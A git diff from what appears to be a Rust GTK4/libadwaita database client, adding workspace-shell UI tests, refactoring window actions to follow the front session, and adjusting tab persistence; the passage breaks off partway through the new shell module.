diff --git a/linux/crates/app/src/ui/workspace/tests/shell.rs b/linux/crates/app/src/ui/workspace/tests/shell.rs
new file mode 100644
index 0000000000..a266b853f8
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/tests/shell.rs
@@ -0,0 +1,393 @@
+//! The shell's chrome: the header bars, the sidebar, the breakpoints and
+//! the window floor, the overview and the main menu.
+
+use std::time::Duration;
+
+use gtk4 as gtk;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use libadwaita::prelude::*;
+
+use super::{served_table, shell_of};
+use crate::test_support::{descendants, wait_until};
+use crate::ui::SessionWindowInput;
+use crate::ui::session_window::tests::{Script, TestWindow};
+use crate::ui::workspace::{WorkspaceShell, WorkspaceTab};
+
+fn overview_new_tab_button(overview: &adw::TabOverview) -> gtk::Button {
+    descendants(overview)
+        .into_iter()
+        .find_map(|widget| {
+            let button = widget.downcast::<gtk::Button>().ok()?;
+            let content = button.child()?.downcast::<adw::ButtonContent>().ok()?;
+            (content.icon_name() == "adw-tab-new-symbolic").then_some(button)
+        })
+        .expect("the overview's new-tab button")
+}
+
+fn top_header(toolbar: &adw::ToolbarView) -> Option<adw::HeaderBar> {
+    let mut child = toolbar.first_child();
+    while let Some(widget) = child {
+        if let Some(header) = descendants(&widget)
+            .into_iter()
+            .chain(std::iter::once(widget.clone()))
+            .find_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
+        {
+            return Some(header);
+        }
+        child = widget.next_sibling();
+    }
+    None
+}
+
+fn sized(name: &str, width: i32, height: i32) -> TestWindow {
+    let test = TestWindow::with_script(
+        name,
+        Script {
+            window_size: Some((width, height)),
+            ..Script::default()
+        },
+    );
+    // GTK fits a remembered size to the monitor, and xvfb-run on Fedora gives a 640x480 one.
+    test.window.set_size_request(width, height);
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.wait_for_page("workspace");
+    test
+}
+
+#[gtk4::test]
+fn each_pane_owns_its_header_bar() {
+    let test = TestWindow::connected("PaneHeaders");
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
+
+    let sidebar = top_header(&imp.sidebar_root).expect("the sidebar's header bar");
+    let content = top_header(&imp.content_root).expect("the content's header bar");
+
+    assert_eq!(sidebar, imp.sidebar_header.get());
+    assert_eq!(content, imp.content_header.get());
+    let assistant = descendants(&imp.assistant_stack.get())
+        .into_iter()
+        .find_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
+        .expect("the assistant's header bar");
+    // The overview draws a header bar of its own while it is open.
+    let headers: Vec<adw::HeaderBar> = descendants(&imp.breakpoint_bin.get())
+        .into_iter()
+        .filter_map(|widget| widget.downcast::<adw::HeaderBar>().ok())
+        .collect();
+    assert_eq!(headers.len(), 3, "a header bar outside the three panes");
+    assert!(headers.contains(&sidebar) && headers.contains(&content) && headers.contains(&assistant));
+    assert!(
+        descendants(&imp.sidebar_header.get()).iter().any(|widget| {
+            widget
+                .downcast_ref::<gtk::MenuButton>()
+                .is_some_and(gtk::MenuButton::is_primary)
+        }),
+        "the main menu is not in the sidebar's header bar"
+    );
+}
+
+#[gtk4::test]
+fn tab_overview_is_the_window_content() {
+    let test = TestWindow::connected("OverviewRoot");
+
+    let content = test.window.content().expect("the window's content");
+    let shell = content.downcast::<WorkspaceShell>().expect("the shell page");
+    let overview = shell
+        .child()
+        .and_downcast::<adw::TabOverview>()
+        .expect("the overview as the shell's only child");
+
+    assert_eq!(overview.view(), Some(shell.imp().tab_view.get()));
+    assert!(
+        overview.child().is_some_and(|child| child.is::<adw::BreakpointBin>()),
+        "the overview does not hold the header bars"
+    );
+}
+
+#[gtk4::test]
+fn tab_bar_is_a_content_top_bar() {
+    let test = TestWindow::connected("TabBarTop");
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
+
+    let bar = imp.tab_bar.get();
+
+    assert_eq!(bar.view(), Some(imp.tab_view.get()));
+    assert!(bar.is_autohide());
+    assert_eq!(
+        bar.ancestor(adw::ToolbarView::static_type()).as_ref(),
+        Some(imp.content_root.upcast_ref::<gtk::Widget>())
+    );
+    assert!(
+        bar.ancestor(gtk::Stack::static_type()).is_none(),
+        "the tab bar sits in the tab area, not above it"
+    );
+}
+
+#[gtk4::test]
+fn show_sidebar_action_toggles_split_view() {
+    let test = TestWindow::connected("ShowSidebar");
+    let split = shell_of(&test.workspace()).imp().split_view.get();
+    assert!(split.shows_sidebar());
+
+    WidgetExt::activate_action(&test.window, "win.show-sidebar", None).expect("win.show-sidebar");
+    assert!(!split.shows_sidebar());
+
+    WidgetExt::activate_action(&test.window, "win.show-sidebar", None).expect("win.show-sidebar");
+    assert!(split.shows_sidebar());
+}
+
+#[gtk4::test]
+fn sidebar_toggle_visible_only_when_collapsed_or_hidden() {
+    let test = TestWindow::connected("SidebarToggle");
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
+    let (split, toggle) = (imp.split_view.get(), imp.sidebar_toggle.get());
+    split.set_collapsed(false);
+    split.set_show_sidebar(true);
+    assert!(!toggle.is_visible(), "shown beside a sidebar in view");
+
+    split.set_show_sidebar(false);
+    assert!(toggle.is_visible(), "hidden with the sidebar hidden");
+
+    split.set_show_sidebar(true);
+    split.set_collapsed(true);
+    assert!(toggle.is_visible(), "hidden with the sidebar collapsed");
+    assert_eq!(toggle.action_name().as_deref(), Some("win.show-sidebar"));
+}
+
+#[gtk4::test]
+fn narrow_window_swaps_tab_bar_for_tab_button() {
+    let test = sized("Narrow", 360, 294);
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
+
+    wait_until(Duration::from_secs(2), || {
+        imp.breakpoint_bin.current_breakpoint().as_ref() == Some(&imp.narrow_breakpoint.get())
+    })
+    .expect("the narrow breakpoint to apply");
+
+    assert!(!imp.tab_bar.is_visible(), "the tab bar stayed");
+    assert!(imp.tab_button.is_visible(), "no tab button took its place");
+    assert!(imp.split_view.is_collapsed());
+}
+
+#[gtk4::test]
+fn wide_window_shows_tab_bar() {
+    let test = sized("Wide", 1200, 760);
+    let workspace = test.workspace();
+    let shell = shell_of(&workspace);
+    let imp = shell.imp();
+    wait_until(Duration::from_secs(2), || {
+        imp.breakpoint_bin.width() > 0 && imp.breakpoint_bin.current_breakpoint().is_none()
+    })
+    .expect("the workspace laid out with no breakpoint");
+
+    assert_eq!(imp.breakpoint_bin.current_breakpoint(), None);
+    assert!(imp.tab_bar.is_visible());
+    assert!(!imp.tab_button.is_visible());
+    assert!(!imp.split_view.is_collapsed());
+}
+
+fn fits_the_floor(root: &gtk::Widget) {
+    let (min_width, ..) = root.measure(gtk::Orientation::Horizontal, -1);
+    let (min_height, ..) = root.measure(gtk::Orientation::Vertical, 360);
+    assert!(min_width <= 360, "{} needs {min_width} px wide", root.type_().name());
+    assert!(min_height <= 294, "{} needs {min_height} px high", root.type_().name());
+}
+
+#[gtk4::test]
+fn every_page_fits_the_window_floor() {
+    use tablepro_session::fakes::FakeEstablish;
+    use tablepro_test_support::ConnectionScript;
+    let test = TestWindow::with_script(
+        "Floor",
+        Script {
+            establish: vec![
+                FakeEstablish::Late {
+                    after: Duration::from_secs(3),
+                    script: ConnectionScript::default(),
+                },
+                crate::ui::session_window::tests::refused(),
+            ],
+            ..Script::default()
+        },
+    );
+    assert_eq!(test.window.size_request(), (360, 294));
+    let content = || test.window.content().expect("a page");
+    fits_the_floor(&content());
+
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.wait_for_page("connecting");
+    fits_the_floor(&content());
+    // A cancel before the driver is asked leaves the late connect for
+    // the next attempt.
+    wait_until(Duration::from_secs(10), || !test.connector.calls().is_empty())
+        .expect("the connect to reach the driver");
+
+    test.window.send(SessionWindowInput::CancelConnect);
+    test.wait_for_page("picker");
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.wait_for_page("connect-failed");
+    fits_the_floor(&content());
+
+    test.window.send(SessionWindowInput::RetryConnect);
+    test.wait_for_page("workspace");
+    fits_the_floor(&content());
+}
+
+/// The floor measured on the tab's own content, with its widest
+/// bars up: the pager's longest label, pending changes and the
+/// filter strip.
+#[gtk4::test]
+fn an_open_table_tab_fits_the_window_floor() {
+    use crate::ui::browse_tab::{BrowseTab, PagingInput};
+    let test = TestWindow::with_script(
+        "TableFloor",
+        Script {
+            connection: served_table(),
+            window_size: Some((360, 294)),
+            ..Script::default()
+        },
+    );
+    test.window
+        .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
+    test.wait_for_page("workspace");
+    let workspace = test.workspace();
+    let page = workspace
+        .with_model(|model| {
+            model.open_tab(super::super::tab_spec::TabSpec::Table {
+                table: tablepro_core::meta::TableRef::new(Some("public".to_owned()), "customers"),
+                page: super::super::tab_spec::TablePage::first(1_000),
+                filter: crate::ui::browse_tab::TableFilter::Remembered,
+            })
+        })
+        .flatten()
+        .expect("a table tab");
+    let tab = page.child().downcast::<BrowseTab>().expect("a browse tab");
+    let wait = Duration::from_secs(10);
+    wait_until(wait, || tab.grid().row_count() > 0).expect("the tab's rows");
+    tab.activate_action("grid.insert-row", None)
+        .expect("the tab inserts rows");
+    let content =
+        crate::test_support::first_descendant_of_type::<adw::ToolbarView>(&tab).expect("the tab's toolbar view");
+    let needs = || {
+        let (width, ..) = content.measure(gtk::Orientation::Horizontal, -1);
+        if width > tab.width() {
+            return (width, i32::MAX);
+        }
+        (width, content.measure(gtk::Orientation::Vertical, tab.width()).0)
+    };
+
+    let fits = wait_until(wait, || {
+        let (width, height) = needs();
+        tab.width() > 0 && width <= 360 && height <= tab.height()
+    });
+    assert!(
+        fits.is_ok(),
+        "an open table tab needs {:?} px, the tab has {}x{}",
+        needs(),
+        tab.width(),
+        tab.height()
+    );
+
+    // Measured as it opens: at the floor's height the strip and the
+    // grid cannot both have room, so the strip is checked for width.
+    tab.send(PagingInput::ToggleFilterStrip);
+    let (with_filter, ..) = content.measure(gtk::Orientation::Horizontal, -1);
+    tab.send(PagingInput::ToggleFilterStrip);
+    assert!(with_filter <= 360, "the filter strip needs {with_filter} px");
+}
+
+#[gtk4::test]
+fn overview_new_tab_uses_tab_factory() {
+    let test = TestWindow::connected("OverviewNewTab");
+    let workspace = test.workspace();
+    let overview = shell_of(&workspace).imp().tab_overview.get();
+
+    // As the overview's own button emits it: create-tab hands back a
+    // page it does not own, which emit_by_name would release.
+    overview_new_tab_button(&overview).emit_clicked();
+    let page = shell_of(&workspace)
+        .imp()
+        .tab_view
+        .selected_page()
+        .expect("the new tab's page");
+
+    let slot = workspace
+        .read(|model| {
+            let id = model.index.id_of(&page)?;
+            let tabs = model.workspace_tabs.borrow();
+            Some(matches!(tabs.get(&id), Some(WorkspaceTab::Editor(_))))
+        })
+        .flatten();
+    assert_eq!(slot, Some(true), "the page has no editor slot in the index");
+    assert_eq!(page.title(), "Query 1");
+}
+
+#[gtk4::test]
+fn primary_menu_has_no_quit() {
+    let test = TestWindow::picker("PrimaryMenu");
+    let menu = test.app.menu_by_id("primary_menu").expect("the primary menu");
+    let mut actions = Vec::new();
+    for section in 0..menu.n_items() {
+        let Some(items) = menu.item_link(section, "section") else {
+            continue;
+        };
+        for item in 0..items.n_items() {
+            if let Some(action) = items
+                .item_attribute_value(item, "action", None)
+                .and_then(|value| value.get::<String>())
+            {
+                actions.push(action);
+            }
+        }
+    }
+
+    for expected in ["app.new-window", "app.preferences", "app.shortcuts", "app.about"] {
+        assert!(actions.iter().any(|action| action == expected), "{expected} is missing");
+    }
+    assert!(!actions.iter().any(|action| action == "app.quit"), "the menu has Quit");
+    assert!(
+        test.app.menu_by_id("tab_overview_menu").is_some(),
+        "the overview's menu is missing"
+    );
+}
+
+#[gtk4::test]
+fn f9_toggles_sidebar() {
+    let test = TestWindow::picker("F9");
+
+    assert_eq!(test.app.accels_for_action("win.show-sidebar"), ["F9"]);
+}
+
+/// A session that comes forward with a tab it opened while handling
+/// its own input still gives the overview its new tab.
+#[gtk4::test]
+fn the_overview_opens_a_tab_in_a_session_that_came_forward_from_its_own_input() {
+    let sessions = super::two_sessions("OverviewFollowsFront", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    super::open_editor(first);
+    super::open_editor(second);
+    assert_eq!(shell.front().as_ref(), Some(second));
+    let before = shell.tab_view().n_pages();
+
+    overview_new_tab_button(&shell.imp().tab_overview.get()).emit_clicked();
+
+    assert_eq!(shell.tab_view().n_pages(), before + 1, "the overview made no tab");
+    let page = shell.tab_view().selected_page().expect("the new tab in front");
+    assert_eq!(
+        shell.owner_of(&page).map(|(owner, _)| owner).as_ref(),
+        Some(second),
+        "the new tab went to a session behind"
+    );
+}
diff --git a/linux/crates/app/src/ui/workspace/tests/tab_title.rs b/linux/crates/app/src/ui/workspace/tests/tab_title.rs
index 02dfa12713..c88b081a88 100644
--- a/linux/crates/app/src/ui/workspace/tests/tab_title.rs
+++ b/linux/crates/app/src/ui/workspace/tests/tab_title.rs
@@ -13,6 +13,7 @@ use uuid::Uuid;
 use super::super::structure_target::StructureTarget;
 use super::super::tab_spec::TabSpec;
 use super::super::{Workspace, WorkspaceInput, WorkspaceTab};
+use super::{open_editor, shell_of, two_sessions};
 use crate::runtime::DeliverInput;
 use crate::services::pending_structure::PendingStructure;
 use crate::test_support::{finish_on_main, wait_until};
@@ -96,7 +97,10 @@ fn unsaved_marker_never_sets_needs_attention() {
     let (page, id) = new_table_tab(&workspace);
     WidgetExt::activate_action(&test.window, "win.new-editor-tab", None).expect("win.new-editor-tab");
     wait_until(WAIT, || editors(&test.window).len() == 1).expect("an editor tab in front");
-    assert_ne!(workspace.imp().tab_view.selected_page().as_ref(), Some(&page));
+    assert_ne!(
+        shell_of(&workspace).imp().tab_view.selected_page().as_ref(),
+        Some(&page)
+    );
 
     edit_structure(&workspace, id, a_column_added());
     wait_until(WAIT, || modified(&page)).expect("the unsaved icon");
@@ -119,8 +123,7 @@ fn open_transaction_marks_editor_tab() {
 
     test.run_in_new_editor_tab();
 
-    let page = test
-        .workspace()
+    let page = shell_of(&test.workspace())
         .imp()
         .tab_view
         .selected_page()
@@ -137,7 +140,10 @@ fn another_tabs_open_transaction_is_bannered_until_its_tab_is_shown() {
         script.open_editor_session.always(FakeReply::ok(editor_session));
     });
     let workspace = test.workspace();
-    let (view, banner) = (workspace.imp().tab_view.get(), workspace.imp().transaction_banner.get());
+    let (view, banner) = (
+        shell_of(&workspace).imp().tab_view.get(),
+        workspace.imp().transaction_banner.get(),
+    );
 
     test.run_in_new_editor_tab();
     let owner = view.selected_page().expect("the editor's page");
@@ -191,7 +197,7 @@ fn restored_workspace_selects_saved_active_tab() {
         .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
     test.wait_for_page("workspace");
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.imp().tab_view.n_pages() == 2).expect("both tabs restored");
+    wait_until(WAIT, || shell_of(&workspace).imp().tab_view.n_pages() == 2).expect("both tabs restored");
 
     let selected = workspace
         .read(|model| {
@@ -234,9 +240,9 @@ fn a_restored_editor_tab_keeps_its_file_and_its_unsaved_changes() {
         .send(SessionWindowInput::OpenSaved(Box::new(test.saved.clone())));
     test.wait_for_page("workspace");
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.imp().tab_view.n_pages() == 1).expect("the editor tab restored");
+    wait_until(WAIT, || shell_of(&workspace).imp().tab_view.n_pages() == 1).expect("the editor tab restored");
 
-    let page = workspace.imp().tab_view.nth_page(0);
+    let page = shell_of(&workspace).imp().tab_view.nth_page(0);
     let editor = editors(&test.window).pop().expect("the editor");
     assert_eq!(editor.file().and_then(|file| file.path()), Some(path.clone()));
     assert!(
@@ -262,7 +268,7 @@ fn window_title_follows_the_tab_in_front() {
         test.window.title().as_deref() == Some("Query 1 (Fake) - TablePro")
     })
     .expect("the tab's title");
-    let heading = test.workspace().imp().window_title.get();
+    let heading = shell_of(&test.workspace()).imp().window_title.get();
     assert_eq!(heading.title(), "Query 1");
     assert_eq!(heading.subtitle(), "Fake");
 }
@@ -308,7 +314,7 @@ fn tabs_name_the_schema_once_the_session_has_two() {
 #[gtk4::test]
 fn a_new_editor_tab_takes_the_lowest_number_no_open_tab_has() {
     let test = TestWindow::connected("LowestFreeQueryNumber");
-    let view = test.workspace().imp().tab_view.get();
+    let view = shell_of(&test.workspace()).imp().tab_view.get();
     let open = || {
         let before = editors(&test.window).len();
         WidgetExt::activate_action(&test.window, "win.new-editor-tab", None).expect("win.new-editor-tab");
@@ -328,3 +334,51 @@ fn a_new_editor_tab_takes_the_lowest_number_no_open_tab_has() {
     titles.sort();
     assert_eq!(titles, ["Query 1", "Query 2", "Query 3"]);
 }
+
+/// AdwTab shows a tooltip as Pango markup, so a connection named with
+/// an ampersand would leave the tab with none.
+#[gtk4::test]
+fn a_tab_beside_another_connections_names_its_own_in_plain_text() {
+    let sessions = two_sessions("SharedBarTitles", "R&D");
+    let view = sessions.shell.tab_view();
+    let ours = open_editor(&sessions.first);
+    assert_eq!(ours.title(), "Query 1", "a tab alone in the bar named its connection");
+    let theirs = open_editor(&sessions.second);
+
+    wait_until(WAIT, || {
+        theirs.title() == "Query 1 (R&D)" && ours.title() == "Query 1 (Fake)"
+    })
+    .expect("each tab to name its connection");
+    let tooltip = theirs.tooltip().map(|tooltip| tooltip.to_string()).unwrap_or_default();
+    let (_, text, _) = gtk4::pango::parse_markup(&tooltip, '\0').expect("the tooltip is markup");
+    assert_eq!(text.as_str(), "Query 1\nR&D");
+    assert_eq!(theirs.keyword().as_deref(), Some("R&D"));
+
+    view.close_page(&ours);
+
+    wait_until(WAIT, || theirs.title() == "Query 1").expect("the tab alone again to drop the name");
+}
+
+/// The session keeps the name it connected with, so the titles read the
+/// saved connection's.
+#[gtk4::test]
+fn a_renamed_connection_retitles_its_tabs_and_the_window() {
+    let test = TestWindow::connected("RenamedConnection");
+    let page = open_editor(&test.workspace());
+
+    test.services
+        .storage
+        .connections()
+        .upsert_blocking(tablepro_storage::SavedConnection {
+            name: "Shop".to_owned(),
+            ..test.saved.clone()
+        })
+        .expect("rename the connection");
+
+    wait_until(WAIT, || {
+        test.window.title().as_deref() == Some("Query 1 (Shop) - TablePro")
+    })
+    .expect("the window to take the new name");
+    assert_eq!(page.keyword().as_deref(), Some("Shop"));
+    assert_eq!(test.workspace().connection_name(), "Shop");
+}
diff --git a/linux/crates/app/src/ui/workspace/workspace_actions.rs b/linux/crates/app/src/ui/workspace/workspace_actions.rs
index 428627e42c..d3809c32bf 100644
--- a/linux/crates/app/src/ui/workspace/workspace_actions.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_actions.rs
@@ -1,12 +1,15 @@
-//! The window actions a workspace adds while it is open, and takes off
-//! the window again when it goes. Their keys are application
-//! accelerators; a tab's own keys belong to the tab.
+//! The window actions the sessions' workspaces act on. The shell adds
+//! them once and each one goes to the session in front, so a change of
+//! front changes where they go without taking any off the window. Their
+//! keys are application accelerators; a tab's own keys belong to the tab.
+//! Reopen Closed Tab is the shell's own: the tab closed last may be any
+//! session's.
 
 use gtk4::glib;
 use gtk4::prelude::*;
 use libadwaita as adw;
 
-use super::{WorkspaceInput, WorkspaceSender};
+use super::{WorkspaceInput, WorkspaceShell};
 use crate::runtime::DeliverInput;
 use crate::services::history_availability::HistoryAvailability;
 
@@ -18,37 +21,59 @@ type ActionInput = fn() -> WorkspaceInput;
 /// they are not left greyed out with no reason.
 const HISTORY_ACTIONS: [&str; 2] = ["show-history", "show-saved-queries"];
 
-/// Add the workspace's actions to the window's own action map, which GTK
-/// exports as `win`, and return their names for `shutdown` to remove.
-/// Each one sends its input through `input`, so one activated after the
-/// workspace is gone is dropped rather than handled.
-pub(super) fn install(window: &adw::ApplicationWindow, input: &WorkspaceSender) -> Vec<&'static str> {
-    let entries: [(&'static str, ActionInput); 7] = [
-        ("new-editor-tab", || WorkspaceInput::NewEditorTab),
-        ("refresh-tables", || WorkspaceInput::RefreshCatalog),
-        ("reopen-closed-tab", || WorkspaceInput::ReopenClosedTab),
-        ("save-query", || WorkspaceInput::SaveActiveQuery),
-        ("show-history", || WorkspaceInput::ShowHistory),
-        ("show-saved-queries", || WorkspaceInput::ShowSavedQueries),
-        (super::health_banner::REVIEW_HOST_KEY, || WorkspaceInput::ReviewHostKey),
-    ];
-    let actions = entries.map(|(name, message)| {
-        let input = input.clone();
+const ENTRIES: [(&str, ActionInput); 6] = [
+    ("new-editor-tab", || WorkspaceInput::NewEditorTab),
+    ("refresh-tables", || WorkspaceInput::RefreshCatalog),
+    ("save-query", || WorkspaceInput::SaveActiveQuery),
+    ("show-history", || WorkspaceInput::ShowHistory),
+    ("show-saved-queries", || WorkspaceInput::ShowSavedQueries),
+    (super::health_banner::REVIEW_HOST_KEY, || WorkspaceInput::ReviewHostKey),
+];
+
+const REOPEN_CLOSED_TAB: &str = "reopen-closed-tab";
+
+/// Add the actions to the window's own action map, which GTK exports as
+/// `win`. Each sends its input to the session in front when activated;
+/// with none, or once the shell is gone, it does nothing.
+pub(super) fn install(window: &adw::ApplicationWindow, shell: &WorkspaceShell) {
+    let actions = ENTRIES.map(|(name, message)| {
+        let shell = shell.downgrade();
         gio::ActionEntry::<adw::ApplicationWindow>::builder(name)
-            .activate(move |_, _, _| input.deliver(message()))
+            .activate(move |_, _, _| {
+                if let Some(input) = shell
+                    .upgrade()
+                    .and_then(|shell| shell.front())
+                    .and_then(|front| front.sender())
+                {
+                    input.deliver(message());
+                }
+            })
             .build()
     });
     window.add_action_entries(actions);
+    let reopening = shell.downgrade();
+    window.add_action_entries([gio::ActionEntry::<adw::ApplicationWindow>::builder(REOPEN_CLOSED_TAB)
+        .activate(move |_, _, _| {
+            if let Some(shell) = reopening.upgrade() {
+                shell.reopen_closed_tab();
+            }
+        })
+        .build()]);
     // Insensitive until the query database has opened or failed to.
     for name in HISTORY_ACTIONS {
         set_enabled(window, name, false);
     }
-    // Only a session parked on a host key has one to review.
-    set_enabled(window, super::health_banner::REVIEW_HOST_KEY, false);
-    entries.iter().map(|(name, _)| *name).collect()
 }
 
-pub(super) fn set_enabled(window: &adw::ApplicationWindow, name: &str, enabled: bool) {
+/// Take the actions off the window as its shell goes.
+pub(super) fn remove(window: &adw::ApplicationWindow) {
+    for (name, _) in ENTRIES {
+        window.remove_action(name);
+    }
+    window.remove_action(REOPEN_CLOSED_TAB);
+}
+
+fn set_enabled(window: &adw::ApplicationWindow, name: &str, enabled: bool) {
     if let Some(action) = window.lookup_action(name).and_downcast::<gio::SimpleAction>() {
         action.set_enabled(enabled);
     }
@@ -85,9 +110,9 @@ mod tests {
 
     #[gtk4::test]
     fn the_history_gate_follows_availability() {
+        crate::register_test_resources();
         let window = crate::test_support::OwnedWindow::new(adw::ApplicationWindow::builder().build());
-        let (input, _receiver) = crate::runtime::input_queue::<WorkspaceInput>();
-        install(&window, &input);
+        install(&window, &glib::Object::new::<WorkspaceShell>());
         let (sender, receiver) = tokio::sync::watch::channel(HistoryAvailability::Starting);
         let gate = spawn_history_gate(&window, receiver);
         let enabled = || {
@@ -111,15 +136,17 @@ mod tests {
     }
 
     #[gtk4::test]
-    fn workspace_actions_live_on_the_windows_own_map() {
+    fn workspace_actions_live_on_the_windows_own_map_and_go_with_the_shell() {
+        crate::register_test_resources();
         let window = crate::test_support::OwnedWindow::new(adw::ApplicationWindow::builder().build());
-        let (input, mut receiver) = crate::runtime::input_queue::<WorkspaceInput>();
+        let shell: WorkspaceShell = glib::Object::new();
 
-        let names = install(&window, &input);
+        install(&window, &shell);
 
-        assert!(names.contains(&"new-editor-tab"));
+        // With no session in front the action has nowhere to go.
         WidgetExt::activate_action(&*window, "win.new-editor-tab", None).expect("win resolves to the window's own map");
-        crate::test_support::drain_main_context();
-        assert!(matches!(receiver.try_recv(), Ok(WorkspaceInput::NewEditorTab)));
+        remove(&window);
+        assert!(window.lookup_action("new-editor-tab").is_none());
+        assert!(window.lookup_action(REOPEN_CLOSED_TAB).is_none());
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/workspace_persistence.rs b/linux/crates/app/src/ui/workspace/workspace_persistence.rs
index ea6108c2cc..5eabf1fddf 100644
--- a/linux/crates/app/src/ui/workspace/workspace_persistence.rs
+++ b/linux/crates/app/src/ui/workspace/workspace_persistence.rs
@@ -134,7 +134,10 @@ pub(super) fn workspace_record(
         .collect();
     keep_filters_within(&mut snapshots, KEPT_FILTER_BUDGET);
     keep_places_within(&mut snapshots, KEPT_PLACES_BUDGET);
-    let selected = view.selected_page().and_then(|page| index.id_of(&page));
+    let selected = view
+        .selected_page()
+        .and_then(|page| index.id_of(&page))
+        .or_else(|| index.last_selected());
     let mut record = crate::workspace::workspace_record(&snapshots, selected);
     record.shrink_to_fit();
     record
@@ -219,22 +222,18 @@ fn tab_record(tab: &WorkspaceTab) -> Option<TabRecord> {
     }
 }
 
-/// Open each saved tab through `open`, in order, then select the one
-/// that was selected. A tab `open` could not build leaves nothing to
-/// select.
+/// Open each saved tab through `open`, in order, and return the page of
+/// the one that was selected. A tab `open` could not build leaves
+/// nothing.
 pub(super) fn reopen(
-    view: &adw::TabView,
     record: WorkspaceRecord,
     mut open: impl FnMut(TabRecord) -> Option<adw::TabPage>,
-) {
+) -> Option<adw::TabPage> {
     let pages: Vec<Option<adw::TabPage>> = record.tabs.into_iter().map(&mut open).collect();
-    let selected = record
+    record
         .active_tab
         .and_then(|index| usize::try_from(index).ok())
-        .and_then(|index| pages.get(index).cloned().flatten());
-    if let Some(page) = selected {
-        view.set_selected_page(&page);
-    }
+        .and_then(|index| pages.get(index).cloned().flatten())
 }
 
 #[cfg(test)]
@@ -484,7 +483,7 @@ mod tests {
     }
 
     #[gtk4::test]
-    fn restore_selects_active_tab_and_reopens_structure_tabs() {
+    fn restore_reopens_every_tab_and_names_the_active_one() {
         adw::init().expect("libadwaita initialises under the test backend");
         let view = adw::TabView::new();
         let record = WorkspaceRecord {
@@ -510,7 +509,7 @@ mod tests {
         };
         let mut opened = Vec::new();
 
-        reopen(&view, record, |tab| {
+        let active = reopen(record, |tab| {
             let name = match &tab {
                 TabRecord::Table { table, .. } => format!("table {table}"),
                 TabRecord::Structure { table, .. } => format!("structure {table}"),
@@ -524,11 +523,10 @@ mod tests {
         });
 
         assert_eq!(opened, ["table orders", "structure users", "editor"]);
-        let selected = view
-            .selected_page()
+        let active = active
             .and_then(|page| page.child().downcast::<gtk::Label>().ok())
             .map(|label| label.label().to_string());
-        assert_eq!(selected.as_deref(), Some("structure users"));
+        assert_eq!(active.as_deref(), Some("structure users"));
     }
 
     #[gtk4::test]
diff --git a/linux/crates/app/src/ui/workspace/workspace_shell.rs b/linux/crates/app/src/ui/workspace/workspace_shell.rs
new file mode 100644
index 0000000000..2e42ffca70
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/workspace_shell.rs
@@ -0,0 +1,719 @@
+//! The part of the workspace a window has once: the two header bars,
+//! the connection tree, the one tab view every session's tabs share, the
+//! assistant's column and the toasts. Each session keeps its own
+//! `Workspace`. The one whose tab is selected is `front`, and the header
+//! bars, the banners, the assistant and the window's actions follow it.
+
+use gtk4 as gtk;
+use gtk4::glib;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use libadwaita::prelude::BinExt;
+use tablepro_core::DataModel;
+use uuid::Uuid;
+
+use super::health_banner::REVIEW_HOST_KEY;
+use super::sidebar::ConnectionTree;
+use super::workspace_shell_imp::{self as imp, ClosedTab, HeldSession};
+use super::{CLOSED_TABS_CAPACITY, ClosedTabDescriptor, Workspace, WorkspaceInput};
+use crate::application::AppServices;
+use crate::i18n::{gettext, gettext_f};
+use crate::runtime::{DeliverInput, InputSender};
+use crate::ui::SessionWindowInput;
+use crate::ui::a11y::describe_icon_button;
+use crate::ui::shell::{PRIMARY_MENU, TAB_OVERVIEW_MENU, app_menu, primary_menu_button};
+
+/// The window action that shows and hides the sidebar, as GNOME Files
+/// names it.
+pub(super) const SHOW_SIDEBAR: &str = "show-sidebar";
+
+/// The window action that shows and hides the assistant's column.
+pub(super) const SHOW_ASSISTANT: &str = "show-assistant";
+
+glib::wrapper! {
+    pub struct WorkspaceShell(ObjectSubclass<imp::WorkspaceShell>)
+        @extends adw::Bin, gtk::Widget,
+        @implements gtk::Accessible, gtk::Buildable, gtk::ConstraintTarget;
+}
+
+/// Run as the shell is built, so its buttons are named before any
+/// window holds it.
+pub(super) fn describe_buttons(shell: &WorkspaceShell) {
+    let imp = shell.imp();
+    describe_icon_button(&imp.table_search_toggle.get(), &gettext("Search"), None);
+    describe_icon_button(
+        &imp.refresh_tables_button.get(),
+        &gettext("Refresh"),
+        Some("win.refresh-tables"),
+    );
+    describe_icon_button(
+        &imp.sidebar_toggle.get(),
+        &gettext("Show Sidebar"),
+        Some("win.show-sidebar"),
+    );
+    describe_icon_button(
+        &imp.new_tab_button.get(),
+        &gettext("New Query"),
+        Some("win.new-editor-tab"),
+    );
+    describe_icon_button(&imp.tab_button.get(), &gettext("View Open Tabs"), None);
+    describe_icon_button(
+        &imp.assistant_toggle.get(),
+        &gettext("Show the Assistant"),
+        Some("win.show-assistant"),
+    );
+}
+
+impl WorkspaceShell {
+    /// A shell for `window`, with what it needs beyond the template: the
+    /// connection tree and the picker's actions its rows name, the main
+    /// menu, the window's actions, the tab menu and the overview's new
+    /// tab.
+    pub(crate) fn new(
+        window: &adw::ApplicationWindow,
+        services: &AppServices,
+        sender: InputSender<SessionWindowInput>,
+    ) -> Self {
+        let shell: Self = glib::Object::new();
+        let imp = shell.imp();
+        imp.window.set(Some(window));
